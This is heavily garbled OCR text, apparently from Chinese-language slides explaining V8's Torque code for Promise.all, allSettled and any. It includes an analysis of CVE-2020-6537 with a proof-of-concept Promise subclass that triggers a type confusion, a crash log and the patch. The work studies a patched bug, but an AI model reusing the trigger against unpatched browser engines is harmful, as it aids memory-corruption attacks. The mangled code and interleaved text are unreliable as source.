"ElementRemaining":
"Values":

{
1, _ xContextSlot (
resolveElementContext,
PromiseAllResolveElementContextSlots::
kPromiseAllResolveElementRemainingSlot) += 1;

for promise in iter: const resolveElementFun = createResolveElementFunctor.Call(
resolveElementContext['ElementRemaining'] += 1 resolveElementContext, nativeContext, index, capability);
const rejectElementFun = createRejectElementFunctor.Call(

resolve = createResolveElementFunctor.closure resolveElementContext, nativeContext, index, capability);

reject = createRejectElementFunctor.closure ,
. | const nextPromise =

CallResolve(constructor, promiseResolveFunction, nextValue);
const then = GetProperty(nextPromise, kThenString);
const thenResult = Call(
nextPromise = Reflect.apply(Promise.resolve, promise, nativeContext, then, nextPromise, resolveElementFun,

nextPromise.then(resolve, reject) rejectElementFun);




Promise

||
Promlse AII transitioning macro PerformPromiseAll<F1l: type, F2: type>([...]):
{

const resolveElementContext =
CreatePromiseAllResolveElementContext(capability, nativeContext);

[...]
try {

while (true) {
let nextValue: JSAny;
try {
const next: JSReceiver = iterator::IteratorStep(
iter, fastIteratorResultMap) otherwise goto Done;
nextValue = iterator::IteratorValue(next, fastIteratorResultMap);

]

s Ll Resolve Ei reject handler NIEE B {E

resolveElementContext,
PromiseAllResolveElementContextSLotS: :
kPromiseAllResolveElementRemainingSlot) += 1;

const resolveElementFun = createResolveElementFunctor.Call(

resolveElementContext, nativeContext, index, capability); = - JEEEEEEEEEIEE
const rejectElementFun = createRejectElementFunctor.Call(

resolveElementContext, nativeContext, index, capability);

const nextPromise = :
// ES#sec—-promise.allsettled

// Promise.allSettled ( iterable )
transitioning javascript builtin PromiseAllSettled(
js—implicit context: Context, receiver: JSAny)(iterable: JSAny): JSAny {
nativeContext, then, nextPromise, resolveEleme return GeneratePromiseAll(
rejectElementFun); receiver, iterable, PromiseAllSettledResolveElementFunctor{},
. ] PromiseAllSettledRejectElementFunctor{}, 'Promise.allSettled"');

CallResolve(constructor, promiseResolveFunctio
const then = GetProperty(nextPromise, kThenString)
const thenResult = Call(



Promise

Promise All

struct PromiseAllSettledResolveElementFunctor {
macro Call(
implicit context: Context) (
resolveElementContext: PromiseAllResolveElementContext,
nativeContext: NativeContext, index: Smi,
_capability: PromiseCapability): Callable {

Handle<SharedFunctionInfo> info = CreateSharedFunctionInfo(
isolate_, Builtin::kPromiseAllResolveElementClosure, 1);
set_promise_all_resolve_element_shared_fun(xinfo);

transitioning javascript builtin PromiseAllSettledResolveElementClosure( info = CreateSharedFunctionInfo
js—implicit context: Context, receiver: JSAny, target: JSFunction) (
value: JSAny): JSAny {
const context = %RawDownCast<PromiseAllResolveElementContext>(conte t);
return PromiseAllResolveElementClosure(
value, target, PromiseAllSettledWrapResultAsFulfilledFunctor{});

isolate , Builtin::kPromiseAllSettledResolveElementClosure, 1);
set_promise_all_settled_resolve_element_shared_fun(xinfo);

return CreatePromiseAllResolveElementFunction(
resolveElementContext, index, nativeContext,
PromiseAllSettledResolveElementSharedFunConstant());

info = CreateSharedFunctionInfo(
isolate_, Builtin::kPromiseAllSettledRejectElementClosure, 1);
set_promise_all_settled_reject_element_shared_fun(xinfo);

info = CreateSharedFunctionInfo(
isolate_, Builtin::kPromiseAnyRejectElementClosure, 1);
set_promise_any_reject_element_shared_fun(xinfo);

Promise wrapper function x1& &3 & IF0U Z)
PromiseAllResolveElementClosure

Setup BF#J181E Promise B share function Functor.Call &[c]{& share function object
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Promise

Promise All

Pending " Fulfited | | ) resolveElementFun
' I ) PromiseAllResolveElementClosure

I| ) rejectElementFun
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Promise

Promise All

transitioning javascript builtin PromiseAllResolveElementClosure(
js—implicit context: Context, receiver: JSAny, target: JSFunction) (

* (WEfH7T)

® j:t‘ % 3 1@ CI const context = %RawDownCast<PromiseAllResolveElementContext>(context);
Z N\ | Osure return PromiseAllResolveElementClosure(

value, target, PromiseAllWrapResultAsFulfilledFunctor{});

o PrOm iseAI I ReSO IveEIementC I Osu re transitioning javascript builtin PromiseAllSettledResolveElementClosure(

js—implicit context: Context, receiver: JSAny, target: JSFunction) (
value: JSAny): JSAny {
const context = %RawDownCast<PromiseAllResolveElementContext>(context);

/3 . = - =5+ A 2 [==] return PromiseAllResolveElementClosure(
¢ ;R reJeCt /_\E% 1@ %& reJeCt IT‘}EE?R@1¢_- value, target, PromiseAllSettledWrapResultAsFulfilledFunctor{});

transitioning javascript builtin

e PromiseAllSettledResolveElementClosure <

js—implicit context: Context, receiver: JSAny, target: JSFunction) (
value: JSAny): JSAny {
const context = %RawDownCast<PromiseAllResolveElementContext>(context);

* PromiseAllSettledRejectElementClosure T value, target, PromiseAlisettletHrapResultAshefectedunctar(})
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Promise All

o (ALtE7E)
o —IEH 3 1 Closure

e PromiseAllResolveElementClosure

e 72 reject EEAB—1E# reject FLEIZ[CME

e PromiseAllSettledResolveElementClosure

 PromiseAllSettledRejectElementClosure

83

transitioning javascript builtin PromiseAllResolveElementClosure(
js—implicit context: Context, receiver: JSAny, target: JSFunction) (
value: JSAny): JSAny {
const context = %RawDownCast<PromiseAllResolveElementContext>(context);
return PromiseAllResolveElementClosure(
value, target, PromiseAllWrapResultAsFulfilledFunctor{});

}

transitioning javascript alveElementClosure(
- JSFunction) (

value: JSAny):
const context = j§ t>(context);
return PromiseA
value, taryg

s
transitioning j
ction) (

value:
const con context) ;



Promise

Promise All

o (ALtE7E)
o B[R FF=EERE—ENR# “PromiseAllResolveElementClosure” B macro

o TERELIFIE 2= FEEETE Builtins_ Promise{AllResolveElement, ...}Closure

transitioning macro PromiseAllResolveElementClosure<F: type>(
implicit context: PromiseAllResolveElementContext) (value: JSAny,
function: JSFunction, wrapResultFunctor: F): JSAny {

const identityHash =

LoadJSReceiverIdentityHash(function) otherwise unreachable;
const index = Signed(ChangeUint32ToWord(identityHash)) - 1;
[...]
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Promise

Promise A" class MyClass {

constructor(executor) {
Pseudo Code | unction resolve
function reject :
def PromiseAllResolveElementClosure( executor(resolve, reject);
index,
wrapResultFunctor) {

values = resolveElementContext['values']
remainingElementsCount = resolveElementContext|['ElementRemaining’]

if values|[index] == PromiseHole:
return

resolveElementContext|['values'] [index] = wrapResultFunctor()
resolveElementContext['ElementRemaining'] —-= 1

if resolveElementContext['ElementRemaining'] ==
resolve = resolveElementContext['Capability'].resolve
valuesArray = NewJSArray(arrayMap, values)

resolve(values)
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transitioning macro PromiseAllResolveElementClosure<F: type>(

‘IF:I’ I.
implicit context: PromiseAllResolveElementContext) (value: JSAny,

- function: JSFunction, wrapResultFunctor: F): JSAny {
Promise All

let remainingElementsCount = xContextSlot/(
context,
PromiseAllResolveElementContextSlots::
kPromiseAllResolveElementRemainingSlot);

let values = xContextSlot(
context,
PromiseAllResolveElementContextSlots::
kPromiseAllResolveElementValuesSlot);

ef PromiseAllResolveElementClosure(
index,
wrapResultFunctor) {

if (values.objects[index] != PromiseHole) {
return Undefined;

values = resolveElementContext|['values'] y

remainingElementsCount = resolveElementContext['ElementRemaining’]
[...]

const updatedValue = wrapResultFunctor.Call(nativeContext,
values.objects[index] = updatedValue;

if values|[index] == PromiseHole:
return

resolveElementContext ['values'][index] = wrapResultFunctor() remainingElementsCount = remainingElementsCount - 1;

resolveElementContext|['ElementRemaining'] -= 1

if (remainingElementsCount == 0) {
const capability = xContextSlot (
context,
PromiseAllResolveElementContextSlots::
kPromiseAllResolveElementCapabilitySlot);
const resolve = UnsafeCast<JSAny>(capability.resolve);

if resolveElementContext['ElementRemaining'] ==
resolve = resolveElementContext|['Capability'].resolve
valuesArray = NewJSArray(arrayMap, values)
resolve(values)

[...]
const valuesArray = NewJSArray(arrayMap, values);
Call(context, resolve, Undefined, valuesArray);
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Promise

transitioning macro PromiseAllResolveElementClosure<F: type>(
implicit context: PromiseAllResolveElementContext) (value: JSAny,

Promise AII function: JSFunction, wrapResultFunctor: F): JSAny {

let remainingElementsCount = xContextSlot/(
context,
PromiseAllResolveElementContextSlots::
kPromiseAllResolveElementRemainingSlot);

let values = *xContextSlot(
context,
PromiseAllResolveElementContextSlots::
kPromiseAllResolveElementValuesSlot);

if (values.objects[index] != PromiseHole) {
return Undefined;

[...]

const updatedValue = wrapResultFunctor.Call(nativeContext, value);
values.objects[index] = updatedValue;

remainingElementsCount = remainingElementsCount - 1;

= ... EEEXX & resolve ?

if (remainingElementsCount == 0) {

const capability = xContextSlot(
context,
PromiseAllResolveElementContextSlots::
kPromiseAllResolveElementCapabilitySlot);
const resolve = UnsafeCast<JSAny>(capability.resolve);

[...]
const valuesArray = NewJSArray(arrayMap, values);
Call(context, resolve, Undefined, valuesArray);




Promise

Promise All

P— T 1EMRE# assign

transitioning javascript builtin PromiseGetCapabilitiesExecutor(
js—implicit context: Context, receiver: JSAny)(resolve: JSAny,
reject: JSAny): JSAny {
const capability: PromiseCapability =

xContextSlot(context, FunctionContextSlot::kCapabilitySlot);
info = CreateSharedFunctionInfo(

isolate_, Builtin::kPromiseGetCapabilitiesExecutor, 2); capability.resolve = resolve;
set_promise_get_capabilities_executor_shared_fun(xinfo); capability.reject = reject;

} return Undefined:

Setup BF#J181E Promise BY share function TEF& £ 8 executor tHEARY builtin function
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Promise

transitioning macro GeneratePromiseAll(...) {

[...]

const receiver = Cast<JSReceiver>(receiver)

|
P ro m Ise AI I otherwise ThrowTypeError(MessageTemplate::kCalledOnNonObject, message);

const capability = NewPromiseCapability(receiver, False);

[...]
}

transitioning builtin NewPromiseCapability(...) {
return InnerNewPromiseCapability(constructor, debugEvent);

}

transitioning macro InnerNewPromiseCapability(
implicit context: Context)(constructor: HeapObject,
debugEvent: Boolean): PromiseCapability {
...] else {
const capability = CreatePromiseCapability(Undefined, Undefined, Undefined);
const executorContext =
CreatePromiseCapabilitiesExecutorContext(nativeContext, capability);
const executorInfo = PromiseGetCapabilitiesExecutorSharedFunConstant();
const functionMap =
*NativeContextSlot (
nativeContext,
ContextSlot: :STRICT_FUNCTION_WITHOUT_PROTOTYPE_MAP_INDEX);
const executor = AllocateFunctionWithMapAndContext (
functionMap, executorInfo, executorContext);

const promiseConstructor = UnsafeCast<Constructor>(constructor);
const promise = Construct(promiseConstructor, executor);
capability.promise = promise;

[...]

return capability;




Promise

transitioning macro GeneratePromiseAll(...) {

[...]

const receiver = Cast<JSReceiver>(receiver)

|
P ro m Ise AI I otherwise ThrowTypeError(MessageTemplate::kCalledOnNonObject, message);

const capability = NewPromiseCapability(receiver, False);

[...]
}

transitioning builtin NewPromiseCapability(...) {
return InnerNewPromiseCapability(constructor, debugEvent);

}

transitioning macro InnerNewPromiseCapability/(
implicit context: Context) (constructor: HeapObject,
debugEvent: Boolean): PromiseCapability {
[...] else {
const capability = CreatePromiseCapability(Undefined, Undefined, Undefined);
const executorContext =
CreatePromiseCapabilitiesExecutorContext(nativeContext, capability);
const executorInfo = PromiseGetCapabilitiesExecutorSharedFunConstant();
const functionMap =
*NativeContextSlot (
nativeContext,
ContextSlot: :STRICT_FUNCTION_WITHOUT_PROTOTYPE_MAP_INDEX);
const executor = AllocateFunctionWithMapAndContext (
functionMap, executorInfo, executorContext);

const promiseConstructor = UnsafeCast<Constructor>(constructor);
const promise = Construct(promiseConstructor, executor);
capability.promise = promise;

[...]

return capabilit

0L constructor(executor) » [ executor
ElZ PromiseGetCapabilitiesExecutor()




Promise

Promise All

transitioning macro GeneratePromiseAll(...) {
[lll]

const receiver = Cast<JSReceiver>(receiver)
otherwise ThrowTypeError(MessageTemplate::kCalledOnNonObject, message);

const capability = NewPromiseCapability(receiver, False);
[...]
}

transitioning builtin NewPromiseCapability(...) {

return InnerNewPromiseCapability(constructor, debugEvent); E%ZEEL\X MyCIaSS %1&“ ’ ﬁﬁ Promlse a E
= E{E resolve Bl reject handler

}

transitioning macro InnerNewPromiseCapability/(

implicit context: Context) (constructor: HeapObject,
debugEvent: Boolean): PromiseCapability { class MyC1aSS {
..] else { constructor(executor) {
const capability = CreatePromiseCapability(Undefined, Undefined, function resolve
const executorContext = : :
CreatePromiseCapabilitiesExecutorConte» t(nativeContext, capa function reject :
const executorInfo = PromiseGetCapabilitie<ExecutorSharedFunCons
const functionMap =
*NativeContextSlot (
nativeContext,
ContextSlot: :STRICT_FUNCTION_WITHOUT_PFOTOTYPE_MAP_INDEX) ; I

const executor = AllocateFunctionWithMapAndConte: transitioning javascript bujiltin PromiseGetCapabilitiesExecutor(
functionMap, executorInfo, executorContext); js—implicit context: Cohtext, receiver: JSAny)(resolve: JSAny,
reject: JSAny): JSAny {
const capability: Promiselapability =
xContextSlot(context,| FunctionContextSlot: :kCapabilitySlot);

const promiseConstructor = UnsafeCast<Constructo
const promise = Construct(promiseConstructor, ex
capability.promise = promise;

[...]

. capability.resolve = resolve;
return capability;

capability.reject = reject;
return Undefined;
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transitioning macro PromiseAllResolveElementClosure<F: type>(
implicit context: PromiseAllResolveElementContext) (value: JSAny,

Promise AII function: JSFunction, wrapResultFunctor: F): JSAny {

let remainingElementsCount = xContextSlot/(
context,
PromiseAllResolveElementContextSlots::
kPromiseAllResolveElementRemainingSlot);

let values = *xContextSlot(
context,
PromiseAllResolveElementContextSlots::
kPromiseAllResolveElementValuesSlot);

class MyClass {
if (values.objects[index] != PromiseHole) { ~anct ructar
return Undefined; constructor(executor) {

} function resolve
_ function reject

const updatedValue = wrapResultFunctor.Call(nativeCont executor(resolve, reject);
values.objects[index] = updatedValue;

remainingElementsCount = remainingElementsCount - 1;

if (remainingElementsCount == 0) {
const capability = xContextSlot(
context,
PromiseAllResolveElementContextSlots::
kPromis PETR

NoAE &2 element > Fi=NF0YZ resolve

[...]
const valuesArray = NewJSArray(arrayMap, values);
Call(context, resolve, Undefined, valuesArray);

}
[y
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Promise All

: Settled |
Pending | ﬁ Fulfilled | ¥ > resolveElementFun
f E I i> PromiseAllResolveElementClosure
Rejected | i [EMME) rejectElementFun

e

32 A HE%5:E resolveElementFun LAK rejectElementFun E3#E 10U E] &
— iZIE Promise B5EE2ZM-R remainingElementsCount HIE¥h
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e

o FBERL callback » 3 Promise.allSettled £ Promise B5[g]BF fulfill
(resolve) DA K reject - i&z,uﬂ‘ﬁ*jﬁ IgF element B counter #% EEETMI=X

f£ counter = 0 BF = [l{& Promise #55R » WIRBEIRRIZZZ4AERIES » FiEA
B ERIRERE

static resolve(value) {
return
then: (fulfill, reject) => {

ik

static resolve(value) {

try { return
fulfill(value): then: (fulfill, reject) => {

} catch (error) { fulfill(value); reject(value);
reject(error); }
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LESMEF RS —EIRGE - £[E1E

ERThRAN= 4 assign EmptyFixedArray

12 values slot

if (remainingElementsCount == 0) {
const capability = UnsafeCast<PromiseCapability>(
context.elements[PromiseAllResolveElementContextSlots::
kPromiseAllResolveElementCapabilitySlot]);
const resolve = UnsafeCast<JSAny>(capability.resolve);
const arrayMap = UnsafeCast<Map>(
nativeContext
.elements[NativeContextSlot:
const valuesArray = NewJSArray(arrayMap, values);
Call(context,

resolve, Undefined, valuesArray);

:JS_ARRAY_PACKED_ELEMENTS_MAP_INDEX]) ;

e h

95

SBERIBZE

if (remainingElementsCount == 0) {
const capability = *xContextSlot(
context,
PromiseAllResolveElementContextSlots::
kPromiseAllResolveElementCapabilitySlot);
const resolve = UnsafeCast<JSAny>(capability.resolve);
const arrayMap =
sxNativeContextSlot (
nativeContext, ContextSlot::JS ARRAY_PACKED ELEMENTS MAP_INDEX);
// After this point, Clear the slot.
xContextSlot (
context,
PromiseAllResolveElementContextSlots::
kPromiseAllResolveElementValuesSlot)

values escapes to user code.

= kEmptyFixedArray;

const valuesArray = NewJSArray(arrayMap, values);
Call(context, resolve, Undefined, valuesArray);
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» Exploit WA IVRAE

e 3EiB arr[0x10000] = 1 B9 ;
NumberDictionary > B EFEHENEE

\ _;_.a..

transitioning macro PromiseAllResolveElementClosure<F: type>(

implicit context: Context) (

value: JSAny, function: JSFunction, wrapResultFunctor: F): JSAny {
[...]

const updatedValue = wrapResultFunctor.Call(nativeContext, value); // [3]

const identityHash =
LoadJSReceiverIdentityHash(function) otherwise unreachable;

const index = identityHash - 1,

[
const valuesArray = UnsafeCast<JSArray>(
context [PromiseAll1ResolveElementContextSlots::
kPromiseAllResolveElementValuesArraySlot]);

const elements = UnsateCast<FixedArray>(valuesArray.elements); // [4]
const valuesLength = Convert<intptr>(valuesArray.length);
if (index < valuesLength) {

elements.objects[index] = updatedValue; // [5]

Type confusion 254 ERRIFZIVEG R Ex

96

 RUAE & FixedArray BU45 R [E5I) 4
Type Confusion

X

Read / Write as FixedArray

Promise O

Promise 1

FixedArray NumberDictionary
Linear Storage Hash Storage
Map Map
Length Length
Value|[0] h:;l":r::r:gf
Value{1] | Delztl;r;‘:lzl;r?:nts
Capacity
| MaxNumberKey
| Key
Value

PropertyDetails
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» PoC 222X E/—EHMEN - EEE
RIFIBEE R ﬁﬁb(%%—ﬂm

* 1. class MyCls extend Promise

e 2. MyCls.allSettled(...)

resolve B reject

» ¥ Promise.allSettled.call(MyCls,

function custom resolve(arr){

MyCls extends Promise {

mgtrJE{ul(executor) {

arr[0x10000] = 1; function custom_resolve(arr

// %$DebugPrint(arr); console. log("custom_resolve called");

}

console.log("custom resolve called");

function custom_reject

R .ﬂ _t | console. log("custom_reject called");
executor(custom_resolve, custom_reject);
super(executor);

static resolve() {
return
then: (fulfill, reject) => {

console. log("call fulfill");
fulfill();

console. log("call reject");
reject();

%%ﬁg*ﬁ? ConStrUCtOr j-}%\E’%El E E%E/\] // ES#sec-promise.allsettled

// Promise.allSettled ( iterable )
transitioning javascript builtin PromiseAllSettled(
js—implicit context: Context, receiver: JSAny)(iterable: JSAny): JSAny {
return GeneratePromiseAll(
receiver, iterable, PromiseAllSettledResolveElementFunctor{},

) _m D\ u PromiseAllSettledRejectElementFunctor{}, 'Promise.allSettled"');

console. log("then");

});



https://www.anquanke.com/post/id/257482

function custom resolve(arr){

» :
MyCls extends Promise {
console.log("custom resolve called"); nstructor(executor) {
CVE'2020'6537 arr[0x10000] = 1;

function custom_resolve(arr
// %$DebugPrint(arr); console. log("custom_resolve called");

}
function custom_reject

def PromiseAllResolveElementClosure( console. log("custom_reject called");
index,

executor(custom_resolve, custom_reject);
wrapResultFunctor) { super(executor) '

values = resolveElementContext['values'] |
remainingElementsCount = resolveElementContext['ElementRemaining"] SUEEIEE L)

return

then: (fulfill, reject) => {
if values|[index] == PromiseHole: console.log("call fulfill");

return fulfill();
console. log("call reject");
reject();

resolveElementContext['values'] [index] = wrapResultFunctor()

I - - I
resolveElementContext['ElementRemaining'] —= 1 // ES#sec-promise.allsettled

// Promise.allSettled ( iterable )

: : L. : transitioning javascript builtin PromiseAllSettled(
lf rES01VEElementC0ntEXt[ ElementRemalnlng ] —— : js—implicit context: Context, receiver: JSAny)(iterable: JSAny): JSAny {

resolve = resolveElement( def PerformPromiseAl1l( return G?neratc.ePromlseAll( |
nativeContext, receiver, iterable, PromiseAllSettledResolveElementFunctor{},
valuesArray = NGWJSAFFEY( iter, » PromiseAllSettledRejectElementFunctor{}, 'Promise.allSettled');

resolve(values) promiseResolveFunction # |
createResolveElementFunctor,

createRejectElementFunctor) {

.then(arr =>
console. log("then");

});

resolveElementContext = {
"ElementRemaining”: 1,
"Values":
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class MyCls extends Promise {
constructor(executor) {
function custom_resolve(arr
console. log("custom_resolve called");

function custom_reject
console. log("custom_reject called");

executor(custom_resolve, custom_reject);

AT AT R A= Promise B 2 resolve i reject
handler By overwrite &0 ?
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transitioning javascript builtin PromiseGetCapabilitiesExecutor(
js—implicit context: Context, receiver: JSAny)(resolve: JSAny,
reject: JSAny): JSAny {
const context = %RawDownCast<PromiseCapabilitiesExecutorContext>(context);
const capability: PromiseCapability =
xContextSlot(context, FunctionContextSlot::kCapabilitySlot);
if (capability.resolve != Undefined || capability.reject != Undefined)
deferred {

ThrowTypeError(kPromiseExecutorAlreadyInvoked);

}

capability.resolve = resolve;
capability.reject = reject;
return Undefined;
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/—
ca Gl En L ESL ﬂ'f-.r

call reject

custom_resolve called
abort: CSA_ASSERT failed: Torque assert 'remainingElementsCount == 0' failed [src/builtins/promise-all.tq:284]

4k

T =

—h— == JS Stack traC === - - o oS oSS S oSS oSS CSS=S=S=S=S==S=S============

O@: ExitFrame [pc: Ox7f7d8elc2dbf ]
Security context: OxOaef0824fca5 <JSObject>#0#
1: allSettled [Oxaef08250d35](this=0x0aef080c8331 <JSFunction MyCls (sfi = 0xaef082520e9)>#1#,0x0aef080c84f5 <JSArray[l]>#2#)
2: /* anonymous */ [Oxaef082524a9] [test.js:28] [bytecode=0xaef082523c9 offset=129] (this=0x0aef080c2aal <JSGlobal Object>#3#)
3: InternalFrame [pc: Ox7f7d8df2781a]
4

EntryFrame [pc: Ox7f7d8df275f8]
Deta‘ils - - - = - —

(0]: ExitFrame [pc: Ox7f7d8elc2dbf]

(1]: allSettled [Oxaef08250d35] (this=0x0aef080c8331 <JSFunction MyCls (sfi = 0Oxaef082520e9)>#1#,0x0aef080c84f5 <ISArray[l]>#2#) {
// optimized frame

————————— S oOource ) m—m—e—————

<No Source>

] /* anonymous */ [Oxaef082524a9] [test.])s:28] [bytecode=0xaef082523¢c9 offset=129] (this=0x0aef080c2aal <JSGlobal Object>#3#)
// heap-allocated locals

var MyCls = 0x0aef080c8331 <JSFunction MyCls (sfi = Oxaef082520e9)>#1#
// expression stack (top to bottom)

[08] : Ox0aef080c84f5 <JSArray[l]>#2#

[07] : OxPaef080c8331 <JSFunction MyCls (sfi = 0Oxaef082520e9)>#1#

[06] : OxPaefO80c8351 <IJSFunction resolve (sfi = Oxaef0®8252229)>#4#
[05] : OxPaef080c8491 <JSArray[l]>#5%

[04] : Ox0aef080c84f5 <JSArray[l]>#2#4

[03] : Ox0aef080c8331 <JSFunction MyCls (sfi = Oxaef082520e9)>#1#

[02] : Ox0aef08250d35 <IJSFunction allSettled (sfi = Oxaef08250d0d)>#6#
101] : ©

[00] : OxPaef®8042309 <undefined>
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e Patch Commit 1 - #8E& Promise 25 B EIEE » BEAZMMmIK

« Patch Commit 2 - #1Z Torque checks

transitioning macro PromiseAllResolveElementClosure<F: type>(
implicit context: Context)(
value: JSAny, function: JSFunction, wrapResultFunctor: F): JSAny
value: JSAny, function: JSFunction, wrapResultFunctor: F,
hasResolveAndRejectClosures: constexpr bool : JSAny

Promise.allSettled, for each input element, has both a resolve and a reject
closure that share an [[AlreadyCalled]] boolean. That is, the input element
can only be settled once: after resolve is called, reject returns early,
and vice versa. Using {function}'s context as the marker only tracks
per—-closure instead of per-element. When the second resolve/reject closure
is called on the same index, values.object[index]| will already exist and
will not be the hole value. In that case, return early. Everything up to
this point is not yet observable to user code. This is not a problem for
Promise.all since Promise.all has a single resolve closure (no reject) per
element.

hasResolveAndRejectClosures
if (values.objects[index] != TheHole) deferred {

return Undefined;

}

-
=
-
-
=
-
+
=
-
4+
=
-
4=
=
=
-+

Commit 11(|§|;\J%B§3\W§


https://chromium.googlesource.com/v8/v8/+/26df3fdc2521788c4fb3c8c4b5a78f5dada8ab20
https://chromium.googlesource.com/v8/v8/+/4c3cc31cfcd150d0c1db5e4229e6f90a9aef273b

Promise

Promise Any

[ Promise Object J [ Promise Object } [ Promise Object J

First Fulfilled oromise.any() A—irejeoted
First Fulfilled Promise Rejected Promise
with AggregateError
AggregateError

Error Value in
~ | every rejected promise

¥/‘\
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KER E builtin Promise{All,AllSettled} HIIEEFBIL

transitioning javascript builtin PromiseAny(
js—implicit context: Context, receiver: JSAny)(iterable: JSAny): JSAny {
[...]
const receiver = Cast<JSReceiver>(receiver)
otherwise ThrowTypeError(MessageTemplate: :kCalledOnNonObject, 'Promise.any');
const capability = NewPromiseCapability(receiver, False);
const constructor = UnsafeCast<Constructor>(receiver);

try {

const promiseResolveFunction =
GetPromiseResolve(nativeContext, constructor);
const iteratorRecord = iterator::GetIterator(iterable);
return PerformPromiseAny(
nativeContext, iteratorRecord, constructor, capability,
promiseResolveFunction)
otherwise Reject;

.
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transitioning javascript builtin PromiseAny(
js—implicit context: Context, receiver: JSAny)(iterable: JSAny): JSAny {

[...]

const receiver = Cast<JSReceiver>(receiver)

otherwise ThrowTypeError(MessageTemplate: :kCalle
AR ARSI S o ST e SR s i ! 1. IteratorRecord - Promise array El’\]iterator

const constructor = UnsafeCast<Constructor>(receivel 2  constructor - Promise class
try { . capability - €75 executor FJ—LEE
const promiseResolveFunction = . promiseResolveFunction - Promise.resolve

GetPromiseResolve(nativeContext, constructor);

const iteratorRecord = iterator::GetIterator(iterable);
return PerformPromiseAny (
nativeContext, iteratorRecord, constructor, capability,

promiseResolveFunction)
otherwise Reject;

0l
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Pseudo Code

def PerformPromiseAny (
iteratorRecord, |
promiseResolveFunction # Pr

) {
rejectElementContext = {
‘AnyRejectElementRemaining’': 1,

‘Capability’': ‘resolve’: Promise.__resolve_internal

for promise in iteratorRecord:

nextPromise = Reflect.apply(Promise.resolve, promise,
rejectElement = CreatePromiseAnyRejectElementFunction()

rejectElementContext['AnyRejectElementRemaining'] += 1
nextPromise.then(rejectElementContext|'Capability’'], rejectElement)
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def PerformPromiseAny(
iteratorRecord,
promiseResolveFunction

) {
rejectElementContext = {
'‘AnyRejectElementRemaining': 1,
‘Capability’: ‘resolve’': Promise.__resolve_internal

for promise in iteratorRecord:
nextPromise = Reflect.apply(Promise.resolve, promise,
rejectElement = CreatePromiseAnyRejectElementFunction()

rejectElementContext['AnyRejectElementRemaining'] += 1
nextPromise.then(rejectElementContext|'Capability’], rejectElement)

transitioning macro PerformPromiseAny(
implicit context: Context)(nativeContext: NativeContext,
iteratorRecord: iterator::IteratorRecord, constructor: Constructor,
resultCapability: PromiseCapability,
promiseResolveFunction: JSAny): JSAny labels

Reject(JSAny) {

const rejectElementContext =
CreatePromiseAnyRejectElementContext(resultCapability, nativeContext);

try {
[...]

while (true) {
let nextValue: JSAny;
try {
const next: JSReceiver = iterator::IteratorStep(
iteratorRecord, fastIteratorResultMap) otherwise goto Done;
nextValue = iterator::IteratorValue(next, fastIteratorResultMap);

ollean!

let nextPromise: JSAnv:

nextPromise = CallResolve(constructor. promiseResolveFunction, nextValue);

const rejectbElement = CreatePromiseAnyRejectkElementFunction(
rejectElementContext, index, nativeContext);

const remainingElementsCount = *ContextSlot(
rejectElementContext,
PromiseAnyRejectElementContextSlots::
kPromiseAnyRejectElementRemainingSlot);
*ContextSlot(
rejectElementContext,
PromiseAnyRejectElementContextSlots::
kPromiseAnyRejectElementRemainingSlot) =
remainingElementsCount + 1;

let thenResult: JSAny;

const then = GetProperty(nextPromise, kThenString);

thenResult = Call(
context, then, nextPromise,
UnsafeCast<JSAny>(resultCapability.resolve), rejectElement);
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macro CreatePromiseAnyRejectElementFunction(
implicit context: Context) (
rejectElementContext: PromiseAnyRejectElementContext, index: Smi,
nativeContext: NativeContext): JSFunction {
(... ] const map = *xContextSlot(
nativeContext, ContextSlot::STRICT_FUNCTION_WITHOUT_PROTOTYPE_MAP_INDEX);

' . _ ' ' const rejectInfo = PromiseAnyRejectElementSharedFunConstant();
isolate_, Builtin::kPromiseAnyRejectElementClosure, 1); const reject =

set_promise_any_reject_element_shared_fun(xinfo); AllocateFunctionWithMapAndContext(map, rejectInfo, rejectElementContext);
} rejact.properties_or_hash = index;
return reject;

info = CreateSharedFunctionInfol

Reject info 7£ setup BF#E#I1A1E it share function constant £ rejectinfo
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s -‘

LR
__I ‘:- \‘l‘..'.
— \)-v“
.
» "' . ’

-

s,  kPromiseAllSettledResolveElementClosure

—e . !

N (

{1 ;f;“;‘_. kPromiseAllSettledRejectElementClosure

>

- ——

:{5 “21ementContext, index: Smi,

| BERSion {

lhonl >

info = CreateSharedFunctionInfo( ' |
isolate_, Builtin::kPromiseA Ty kPromiseAnyRejectElementClosure

set_promise_any_reject_element_s e y, rejectInfo, rejectElementContext);

‘JNCTION_WITHOUT_PROTOTYPE_MAP_INDEX) -
B htSharedFunConstant();

kPromiseAllResolveElementClosure

Reject info £ setup tant £ rejectinfo
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| Pseudo Code |

def PromiseAnyRejectElementClosure(

index, value) {
errors = rejectElementContext|['AnyRejectElementErrors']

errors|[index] = value

rejectElementContext['AnyRejectElementRemaining’'] -=

if rejectElementContext['AnyRejectElementRemaining"']
error = ConstructAggregateError(errors)
rejectElementContext|'Capability'].resolve(error)
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def PromiseAnyRejectElementClosure(
index, value) {
errors = rejectElementContext|['AnyRejectElementErrors']
errors[index] = value

rejectElementContext['AnyRejectElementRemaining'] -=

if rejectElementContext['AnyRejectElementRemaining']
error = ConstructAggregateError(errors)
rejectElementContext['Capability'].resolve(error)

111

transitioning javascript builtin PromiseAnyRejectElementClosure(
js—implicit context: Context, receiver: JSAny, target: JSFunction)(
value: JSAny): JSAny {
let errorsRef:&FixedArray = ContextSlot(
context,
PromiseAnyRejectElementContextSlots: :kPromiseAnyRejectElementErrorsSlot.
let errors = *xerrorsRef;

let remainingElementsCount = *ContextSlot(
context,
PromiseAnyRejectElementContextSlots::
kPromiseAnyRejectElementRemainingSlot);

[...]
errors.objects[index] = value;
remainingElementsCount = remainingElementsCount - 1;
xContextSlot (
context,
PromiseAnyRejectElementContextSlots::
kPromiseAnyRejectElementRemainingSlot) = remainingElementsCount;

if (remainingElementsCount == 0) {
const error = ConstructAggregateError(errors);

looal

const capability = xContextSlot(
context,
PromiseAnyRejectElementContextSlots::
kPromiseAnyRejectElementCapabilitySlot);
Call(context, UnsafeCast<Callable>(capability.reject), Undefined, error);

3 L.l
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transitioning javascript builtin PromiseAnyRejectElementClosure(

Promise Any

1 ER 2

JS Code

const promisel = new Promise((resolve, reject) => { reject(1l); });
const promise2 new Promise((resolve, reject) => { reject(2); });

Promise.any( [promisel, promise2])
.then((value) => {
console. log(value);
})
.catch((error) => {
console. log(error.errors);

+);

—A%IE R E7E PerformPromiseAny FRIESE

FRA By element 1& 7 [O]1&

112

